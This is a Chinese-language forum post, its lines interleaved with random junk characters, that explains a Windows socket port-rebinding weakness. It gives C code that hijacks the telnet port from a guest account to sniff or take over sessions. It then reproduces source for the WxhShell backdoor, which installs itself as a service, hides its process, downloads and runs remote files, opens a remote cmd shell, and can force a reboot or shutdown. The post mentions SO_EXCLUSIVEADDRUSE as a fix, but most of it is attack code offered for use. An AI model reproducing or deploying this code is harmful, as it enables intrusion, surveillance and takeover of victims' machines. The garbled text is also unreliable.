在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6nfkZvn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O1ha'@qID pkU e|V saddr.sin_family = AF_INET;
=c.q]/M oto od saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0;H6b= _Ry.Wth bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7gMtnwT iy#OmI>j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7, 13g) g
Oj5c 这意味着什么?意味着可以进行如下的攻击:
4d 3Znpf 9v
F2aLPk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xI4I1"/ `eWcp^| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
by
U\I5 ^'fKey` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pu:D/2R2;k H/3Zdj 9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;a3nH P{Z71a5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
w&"w" KYu(H[a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a-E-hX2 "k<:a2R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8T)zB6ng {g- DM}q #include
J4}\V$ysN #include
_0*>I1F~ #include
icul15'i #include
!ix<|F5 DWORD WINAPI ClientThread(LPVOID lpParam);
!"J#,e| int main()
V"H7zx {
K~8tN,~& WORD wVersionRequested;
Hm
VTfH' DWORD ret;
'98h<(@] WSADATA wsaData;
z>33O5U BOOL val;
ewrWSffe SOCKADDR_IN saddr;
=_=Z;#`cXk SOCKADDR_IN scaddr;
1 j12Qn@] int err;
qysa!B SOCKET s;
)c*k_/4 SOCKET sc;
8q [c int caddsize;
A<Z5 HANDLE mt;
OJsd[l3xR DWORD tid;
F> QT| wVersionRequested = MAKEWORD( 2, 2 );
[-t> G!) err = WSAStartup( wVersionRequested, &wsaData );
N4H+_g| if ( err != 0 ) {
"b>KUzuYT printf("error!WSAStartup failed!\n");
0R}Sw[M. return -1;
|R;l5ZKvV }
Z SRRlkU saddr.sin_family = AF_INET;
V`\f+Uu hO/5>Zv? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
XU_,Z/Yw_ 1_NG+H]x9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M7DLs;sD saddr.sin_port = htons(23);
6%kJDY. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x$n~f:1Y {
Dk`4bYK printf("error!socket failed!\n");
AzW7tp;t= return -1;
{zz6XlKPj }
;4G\]%c)E{ val = TRUE;
g. ?*F#2 //SO_REUSEADDR选项就是可以实现端口重绑定的
Q)Iv_N/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V5O=iMP {
=zm0w~']E! printf("error!setsockopt failed!\n");
K3rBl!7v return -1;
sLG>>d3R1 }
zr.+'
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1BMB?I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-XVEV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#Pu@Wx c6,s+^^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G#e9$! {
UZje>.~? ret=GetLastError();
5wH54gj} printf("error!bind failed!\n");
ZU|6jI} return -1;
rFmKmV }
"{A*(. listen(s,2);
pw,O"6J* while(1)
[1b6#I"x {
)sW6iR&_i caddsize = sizeof(scaddr);
[ WV@ w //接受连接请求
l'*^$qc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1BQ0M{& if(sc!=INVALID_SOCKET)
XM6".eF)M {
ME$2P!o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6<x~Mk'u) if(mt==NULL)
gA~20LSt {
?a5h iN0 printf("Thread Creat Failed!\n");
DX}B0B break;
iq"ob8. }
w9RF2J }
T'ED$}N>~ CloseHandle(mt);
FXP6zHsV }
;V_.[aX closesocket(s);
@$qOW WSACleanup();
6'xomRpYN return 0;
0QMTIAW6h }
/g_9m DWORD WINAPI ClientThread(LPVOID lpParam)
i2){xg~c {
ZgV~W#t SOCKET ss = (SOCKET)lpParam;
@j O4EEe: SOCKET sc;
yND"bF9 unsigned char buf[4096];
{5^K Xj$B SOCKADDR_IN saddr;
{?E<](+0 long num;
^SZw`] DWORD val;
!^m%O0DT DWORD ret;
'E4AV58. //如果是隐藏端口应用的话,可以在此处加一些判断
L}'Yd' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qgoJ4Z* saddr.sin_family = AF_INET;
t\h$&[[l'z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%$@1FlqX; saddr.sin_port = htons(23);
|%
z^N* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w|IjQ1{ {
@q K]JK printf("error!socket failed!\n");
.it#`Yz; return -1;
qO-9
x0v# }
|0`hE;Kt7 val = 100;
HPrq1QpK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uG!:Z6%p {
{7*>Cv} ret = GetLastError();
x H-X|N return -1;
j^flwk }
hi ~} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ko6^iI1 {
H~noJIw# ret = GetLastError();
'OwyyPBF return -1;
&(EHq }
e,>%Z@92( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V
A<5uk04K {
.N,&Uv- printf("error!socket connect failed!\n");
Q8T`wd$D# closesocket(sc);
M|q~6oM closesocket(ss);
xg<Hxn,<M return -1;
`ltN,?/ }
G O{.9_2 while(1)
)=J5\3O*x {
u: &o}[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fH\X //如果是嗅探内容的话,可以再此处进行内容分析和记录
]PWDE" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!d,8kG num = recv(ss,buf,4096,0);
TX}T|ri if(num>0)
S${Zzt" send(sc,buf,num,0);
o! OMm! else if(num==0)
Yw'NX5#)g break;
+uo{ m~_4 num = recv(sc,buf,4096,0);
:`\)
P, if(num>0)
xe4Oxo send(ss,buf,num,0);
a2w T6jY else if(num==0)
VA] e break;
#*9-d/K }
)? =YT closesocket(ss);
?m7:if+y closesocket(sc);
b>\?yL/%+? return 0 ;
Aw5pd7qKL }
\3Pv# ) SJ?6{2^ ~YP Jez ==========================================================
WOLuw% l[Q:}y 下边附上一个代码,,WXhSHELL
M;w?[yEZ :s={[KBP ==========================================================
K+Y^>N 4m @%/]Q<<q #include "stdafx.h"
)+P]Vf\jH H
3@Z.D #include <stdio.h>
B9R(&<4 #include <string.h>
0 (U#) #include <windows.h>
0NDftcB] #include <winsock2.h>
=,y |00l #include <winsvc.h>
j.e0;!
(L} #include <urlmon.h>
/E;y,o75 L<^j"!0 #pragma comment (lib, "Ws2_32.lib")
*&BnF\?m #pragma comment (lib, "urlmon.lib")
oA] KE"T O7d$YB_' #define MAX_USER 100 // 最大客户端连接数
]z/Zq #define BUF_SOCK 200 // sock buffer
kIHDeo%K} #define KEY_BUFF 255 // 输入 buffer
K5Q43e1 fhPkEvJ #define REBOOT 0 // 重启
&H}r%%|A #define SHUTDOWN 1 // 关机
o+w;PP)+= }jH7iyjD #define DEF_PORT 5000 // 监听端口
N|N3x7=gs (*}yjUYLZ #define REG_LEN 16 // 注册表键长度
F{06 _T #define SVC_LEN 80 // NT服务名长度
$rIoHxh. y Y3.$G1{#0w // 从dll定义API
,.iRnR
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
PyVC}dUAX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6E(Qx~iL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4iAZ+l5& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,}oM-B ZkL8 e // wxhshell配置信息
-;f*VM.a struct WSCFG {
P-F)%T[ int ws_port; // 监听端口
|4$M]M f0 char ws_passstr[REG_LEN]; // 口令
H]Hv;fcC int ws_autoins; // 安装标记, 1=yes 0=no
theZ]5_C char ws_regname[REG_LEN]; // 注册表键名
8fA_p}wp char ws_svcname[REG_LEN]; // 服务名
sn7AR88M; char ws_svcdisp[SVC_LEN]; // 服务显示名
%CWPbk^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
zp\8_ U@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^,m< 9 int ws_downexe; // 下载执行标记, 1=yes 0=no
4XVCHs( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
EY*(Bw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Qt_dEl A-:O`RK };
4iSa7YqhBT c/c$D;T // default Wxhshell configuration
zJe#m|Z struct WSCFG wscfg={DEF_PORT,
ga?*DI8w "xuhuanlingzhe",
(&/2\0QV 1,
f0Bto/,>~ "Wxhshell",
*s@Qtgu "Wxhshell",
rG,5[/l "WxhShell Service",
$w"$r$K9K "Wrsky Windows CmdShell Service",
\fr-<5w7 9 "Please Input Your Password: ",
Uj&W<'I 1,
+`?Y?L^
J "
http://www.wrsky.com/wxhshell.exe",
THmb6^ "Wxhshell.exe"
f~ }H };
gZ5[
C aF03a-qw< // 消息定义模块
wAnb
Di{W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
R|i/lEq char *msg_ws_prompt="\n\r? for help\n\r#>";
}fp-5
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^eW}XRI char *msg_ws_ext="\n\rExit.";
'X shmZ0& char *msg_ws_end="\n\rQuit.";
5`f@> r? char *msg_ws_boot="\n\rReboot...";
_X@v/sAy char *msg_ws_poff="\n\rShutdown...";
2NB L}x char *msg_ws_down="\n\rSave to ";
asJ)4ema 3sd"nR?aX char *msg_ws_err="\n\rErr!";
N!*_La=TuH char *msg_ws_ok="\n\rOK!";
;WldHaZ9r qCv20#!"| char ExeFile[MAX_PATH];
~c6} int nUser = 0;
?yh}/T\qp HANDLE handles[MAX_USER];
WxF:~{ int OsIsNt;
}NsUnbxT !UFfsNiXZ SERVICE_STATUS serviceStatus;
pmX#E SERVICE_STATUS_HANDLE hServiceStatusHandle;
k}~O}~-
&y<ZE // 函数声明
52o x`t| int Install(void);
L/"0ws_ int Uninstall(void);
$+7`Dy! int DownloadFile(char *sURL, SOCKET wsh);
!t i6 int Boot(int flag);
!0N7^Z"gtz void HideProc(void);
s: 3z'4oX int GetOsVer(void);
vVL@K,q int Wxhshell(SOCKET wsl);
I* VCpaA void TalkWithClient(void *cs);
u[{tb int CmdShell(SOCKET sock);
!+:ov'F int StartFromService(void);
1h.)#g?{ int StartWxhshell(LPSTR lpCmdLine);
Un6/e/6, fHZTXvxoL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Hk|0HL VOID WINAPI NTServiceHandler( DWORD fdwControl );
KM`eIw>8 x"~~l // 数据结构和表定义
\Y{k7^G}A SERVICE_TABLE_ENTRY DispatchTable[] =
TT-h;'nJ {
DS<}@ {wscfg.ws_svcname, NTServiceMain},
{aM<{_v {NULL, NULL}
E#s)52z=B };
+}-@@, oTT7M`P3h // 自我安装
7==f\%, int Install(void)
,~?YBLw@c {
77Bgl4P char svExeFile[MAX_PATH];
N:9>dpP}O HKEY key;
c5mZG7- strcpy(svExeFile,ExeFile);
r#6_]ep}<' ?MQ.% J // 如果是win9x系统,修改注册表设为自启动
[}fv dW if(!OsIsNt) {
tlA"B{7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:\=CRaA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+Y+Y6Ac[} RegCloseKey(key);
}@r{?8Ru if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\Vl`YYjZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N;+[`l RegCloseKey(key);
c,*9K/: return 0;
~ Uo)0 }
BT@r!>Nl }
z'`y,8Y 1l }
~gu3g^<0v else {
sUYxT>R _FwK-?4E- // 如果是NT以上系统,安装为系统服务
TFcT3]R[rL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FW.$5*f=' if (schSCManager!=0)
lq"f[-8a2q {
mZUfn%QXb( SC_HANDLE schService = CreateService
XQ*eP?OS{ (
&
=/ schSCManager,
vpU#xm.K wscfg.ws_svcname,
HQ{JwW!m wscfg.ws_svcdisp,
$m CarFV-T SERVICE_ALL_ACCESS,
rL5z]RY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
MJ=)v]a SERVICE_AUTO_START,
(os$B SERVICE_ERROR_NORMAL,
Ks\ NE=;5 svExeFile,
> 0<)= NULL,
*~/OOH$" NULL,
N&[D>G]>v NULL,
|A8/FU2{ NULL,
cr;g5C
V NULL
21(p|`X );
Iz[@^IUx= if (schService!=0)
%e@HZ"V {
|]Qg7m,O CloseServiceHandle(schService);
!yhh8p3 CloseServiceHandle(schSCManager);
+S))3 5N[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6&bIXy strcat(svExeFile,wscfg.ws_svcname);
. <tq61 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SIKOFs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
jP~Z`yf RegCloseKey(key);
a5G/[[cwTV return 0;
RyRpl*^ }
C.kxQ< }
[le)P$#z CloseServiceHandle(schSCManager);
MaD3[4@# }
u=YX9Mo! }
F_bF +78CvjG return 1;
=~I-]4 }
S"wg2X< mYc.x // 自我卸载
DD44"w_9 int Uninstall(void)
3/#:~a9Q {
(Y^X0yA/ HKEY key;
$#|gLVOQ z]3 `*/B if(!OsIsNt) {
IG3,XW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z`&4SH=j RegDeleteValue(key,wscfg.ws_regname);
=YG _z^' RegCloseKey(key);
7#<c>~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%okzOKKX RegDeleteValue(key,wscfg.ws_regname);
VtOZ%h[# RegCloseKey(key);
QKE9R-KTE return 0;
YJ:3!B>Zo }
JH7Ad (: }
<58l;<0 }
b~BIz95 else {
l6kmS \Ofw8=N-2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FWC5&tM if (schSCManager!=0)
I-agZag% {
d^(1TNS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Il`tNr if (schService!=0)
B-d(@7,1 {
1oKfy>i e if(DeleteService(schService)!=0) {
VYw%01# CloseServiceHandle(schService);
@u._"/K CloseServiceHandle(schSCManager);
A?Wk
wf return 0;
iBudmT8 }
saD-D2oj CloseServiceHandle(schService);
7FO'{Qq }
vKoP|z=m CloseServiceHandle(schSCManager);
gw _$ }
E0oU$IB }
[i]r-|_K iqW1#)3'R return 1;
Iak0 [6Ey }
TzBzEiANn Y\v-,xPm // 从指定url下载文件
nY $tp int DownloadFile(char *sURL, SOCKET wsh)
o/o:2p. {
^zEE6i HRESULT hr;
(c v!Y=] char seps[]= "/";
$j)hNWI char *token;
/XS&d%y char *file;
m=qOg>k char myURL[MAX_PATH];
%i)B*9k char myFILE[MAX_PATH];
uIMe HEA eo! strcpy(myURL,sURL);
8&V_$+ U token=strtok(myURL,seps);
N~ANjn/wL while(token!=NULL)
djT5X {
>6Lm9&} file=token;
GD-&_6a token=strtok(NULL,seps);
l0tYG[ }
x O7IzqY ezTZnutZ GetCurrentDirectory(MAX_PATH,myFILE);
j;K#] strcat(myFILE, "\\");
<@bA?FY strcat(myFILE, file);
AY_Q""v send(wsh,myFILE,strlen(myFILE),0);
w?csV8ot send(wsh,"...",3,0);
NBl
__q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ED} 31L if(hr==S_OK)
%IBL0NQT return 0;
I_ "Z:v{ else
lu UYo return 1;
MEwdw3 e<gx~N9l' }
9>,Qgp,w GO5 ~!g // 系统电源模块
;_<)JqUh int Boot(int flag)
<M[U#Q~?~e {
qX>Q+_^ HANDLE hToken;
g?qKNY TOKEN_PRIVILEGES tkp;
G5]1s & 7QH^ if(OsIsNt) {
CBD_a#K{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p*;Qz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%hT4qzJj tkp.PrivilegeCount = 1;
=;c_} VY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:Eh'( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jOtX
60; if(flag==REBOOT) {
m[2'd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ipKG! return 0;
<6N_at3 }
oJaAM|7uv else {
c8'Cq7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DOL%'k ?B return 0;
M/jb}*xDR }
Nh)[rx }
T'rjh"C&| else {
`n-vjjG%# if(flag==REBOOT) {
Z^tGu7x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[wcA.g* F return 0;
= hX[ }
j.c8}r& else {
`B#Z;R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K=kH%ZK return 0;
q9}2 }
-0~IY }
|"}4*V_ * {Jx7_T& return 1;
|6B6?' }
\5[-Ml $N.`)S< // win9x进程隐藏模块
8Uj: void HideProc(void)
|>sv8/! {
rye)qp| 2lz
{_9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ic~Z_?p if ( hKernel != NULL )
0^\/ERK {
(UW6F4:$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
me'(lQ6^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_bQL[eXd FreeLibrary(hKernel);
utd:&q|} }
Z t`j\^4n 0!IPcZjY7 return;
Nu.
(viQ} }
rUFFF'm\*a Qu_EfmN| // 获取操作系统版本
|4xo4%BQ> int GetOsVer(void)
h3t$>vs2F" {
$n*%v85 OSVERSIONINFO winfo;
t,?,F4j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zv9MHC
& GetVersionEx(&winfo);
5&|5 a} 8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=L16hDk o return 1;
y$h"ty{g else
UG=I~{L return 0;
S2}Z&X( }
x)\V lR afy/K'~ // 客户端句柄模块
a8NVLD>7} int Wxhshell(SOCKET wsl)
/yt7#!tm+ {
B$DZ]/< SOCKET wsh;
h+xA?[c= struct sockaddr_in client;
|Pf(J;'[ DWORD myID;
NY 4C@@" ;&7,73! while(nUser<MAX_USER)
#ZF>WoC@e? {
OgTSx int nSize=sizeof(client);
kXCY))vnn wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
FRS28D if(wsh==INVALID_SOCKET) return 1;
sr4jQo ,$PFI(Whk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[lOf|^9 if(handles[nUser]==0)
Y^X:vI closesocket(wsh);
l-MxLcz else
D8EeZUqU nUser++;
7
{nl..` }
>.LgsMRIKi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1h{>[ 'L BMY>a return 0;
drs-mt8 }
Y}K!`~n1S U~CdU // 关闭 socket
p}&Md-$1 void CloseIt(SOCKET wsh)
tw-fAMwU {
8Kk3_ y closesocket(wsh);
w)^\_uAlS nUser--;
/M]eZ~QKD ExitThread(0);
zw,-.fmM# }
UDVf@[[hN `,Xb8^M2 // 客户端请求句柄
q;ZLaX\bFl void TalkWithClient(void *cs)
&0JK38( {
/MhS=gVxM \hrrPPD1z SOCKET wsh=(SOCKET)cs;
TZ:34\u char pwd[SVC_LEN];
K]ca4Z char cmd[KEY_BUFF];
i,([YsRuou char chr[1];
,TEuM| int i,j;
_Q)d+Fl z;[gEA+I while (nUser < MAX_USER) {
W"dU1] eN2dy-0 if(wscfg.ws_passstr) {
qw5&Y$(( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"/Om}*VhD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ujiZM //ZeroMemory(pwd,KEY_BUFF);
Ap%d<\,Z i=0;
Q,D0kS P while(i<SVC_LEN) {
~:T3| |O57N'/ // 设置超时
>6OCKl fd_set FdRead;
xLe
=d |6 struct timeval TimeOut;
jY rym- FD_ZERO(&FdRead);
,GP!fsK FD_SET(wsh,&FdRead);
Cca6L9% TimeOut.tv_sec=8;
09G9nu ;&{ TimeOut.tv_usec=0;
kxygf9I!; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}iD$4\ L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3T"#T&eL "!xvpsy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:-w@^mli pwd
=chr[0]; l8er$8S}
if(chr[0]==0xd || chr[0]==0xa) { XIqv{w
pwd=0; /.7$`d
break; wu;7NatHx
} TP~(
r
i++; xR*5q1j
} =
vY]G5y
YfTd
// 如果是非法用户,关闭 socket #D=
tX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /z/hUa
} ooomi"u
uFGv%W
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w}IL
8L(D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); axWM|Bw<+
#:]vUQ
while(1) { 's =Q.s
F<h&3
ZeroMemory(cmd,KEY_BUFF); c zZrP"
?nB helW^
// 自动支持客户端 telnet标准 ny278tr Q7
j=0; Qe7"Z
while(j<KEY_BUFF) { enPzy:C
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h |s*i
cmd[j]=chr[0]; v>JB
rIb$
if(chr[0]==0xa || chr[0]==0xd) { E^oEG4X@
cmd[j]=0; }UyzMy,
break; gcX5Q^`a=
} b%=1"&JI:
j++; UeMnc 5y
} C*"Rd
$~
pr+Ei
// 下载文件 on]\J
if(strstr(cmd,"http://")) { 2Som0T<2
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
rE/}hHU
if(DownloadFile(cmd,wsh)) k\4g|Lya
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.j-C}a
else y&n1 Nj]^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VFe-#"0ZO
} L~^e\^sP
else { 0lLr[
k$9Gn9L%
switch(cmd[0]) { c28oLT1|D
pKOT Qf
// 帮助 3&.TU5]`-
case '?': { h1Ke$#$6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v&t`5-e-A
break; !1ie:z>s
} Y}V)4j
// 安装 ,U|u-.~ZU
case 'i': { ]=$-B
if(Install()) Hl%+F0^?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >i><s>=I`
else X}65\6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S&4w`hdD>~
break; /u"
cl2|
} #C;#$|d
// 卸载 ?RrC~7~
case 'r': { Z'*G'/*
if(Uninstall()) hq|jC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jzu l{'g
else Ymrpf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZI#SYEF6
break; rsIt~w
} D{&+7C:8.
// 显示 wxhshell 所在路径 BDB zc5Q(
case 'p': { _umO)]Si
char svExeFile[MAX_PATH]; ;X9MA=b
strcpy(svExeFile,"\n\r"); h0y\,iWXb
strcat(svExeFile,ExeFile); 2vW,.]95M
send(wsh,svExeFile,strlen(svExeFile),0); %8z+R m,Ot
break; f:)K
} :5q*46n
// 重启 `#IT24!
case 'b': { E|8s2t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z9uEOX&2\
if(Boot(REBOOT)) hj#+8=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =8VJ.{xy_e
else { +Qb2LR
closesocket(wsh); TZ[Fu{gZ
ExitThread(0); .{Eg(1At
} +Fkx")
break; *YEIG#`
} Z"+rg9/p
// 关机 Jn^Wzn[q
case 'd': { [{.\UkV@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
Do{*cSd
if(Boot(SHUTDOWN)) XQ|j5]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wTJMq`sY_
else { c,u$tnE)
closesocket(wsh); w4&v( m
ExitThread(0); &55uT;7] a
} P[|BWNei
break; !Vod0j">
} ;R-
z3C
// 获取shell ^PCL^]W
case 's': { D4x'
CmdShell(wsh); J4R
closesocket(wsh); h.+,*9T\
ExitThread(0); <?`e9o
break; `\/Wa h}I
} B#/~U`t*
// 退出 !AD,
case 'x': { V[2<ha[n>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y O9pEO|W
CloseIt(wsh); *^$N$t/2
break; 0%L$TJ.''
} f~(^|~ZT
// 离开 ywa .cq
case 'q': { $@
#G+QQ_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [7t0[U~3?
closesocket(wsh); MrygEC 5
WSACleanup(); :WKyEt!3
exit(1); OKNs (H
break; 0BU:(o&
} qm&53
} AXv3jH,HF
} Z~R/p;@
1PjX:]:
// 提示信息 ovRCF(Og,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '1T v1
} xVmUmftD
} (h(ZL9!
K
{N;k-
return; S>zKD
} &I">{J<
_:z;j{@4
// shell模块句柄 Z-r0
D
int CmdShell(SOCKET sock) 0~I)
/T
{ gQzF C&g
STARTUPINFO si; ~#xs
`@{s
ZeroMemory(&si,sizeof(si)); 9<#R;eIsv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J'&?=|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \$++.%0
PROCESS_INFORMATION ProcessInfo; oFA$X Y
char cmdline[]="cmd"; 63\>MQcLy
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y- 9j2.{
return 0; \fGYJ37
} f#JF5>o
=>TtX@ Q{
// 自身启动模式 ~1z8G>R
int StartFromService(void) 8XXTN@&,
{ FP
cvkXQD
typedef struct = ~R3*GN
{ l@2`f#y1~<
DWORD ExitStatus; Ki6BPi^
DWORD PebBaseAddress; %x)U8
DWORD AffinityMask; l%V}'6T
DWORD BasePriority; m=b+V#4i(
ULONG UniqueProcessId; Jrrk$0H^~
ULONG InheritedFromUniqueProcessId; W`rE\P
} PROCESS_BASIC_INFORMATION; gnK!"!nL
7
@Qlp$[F
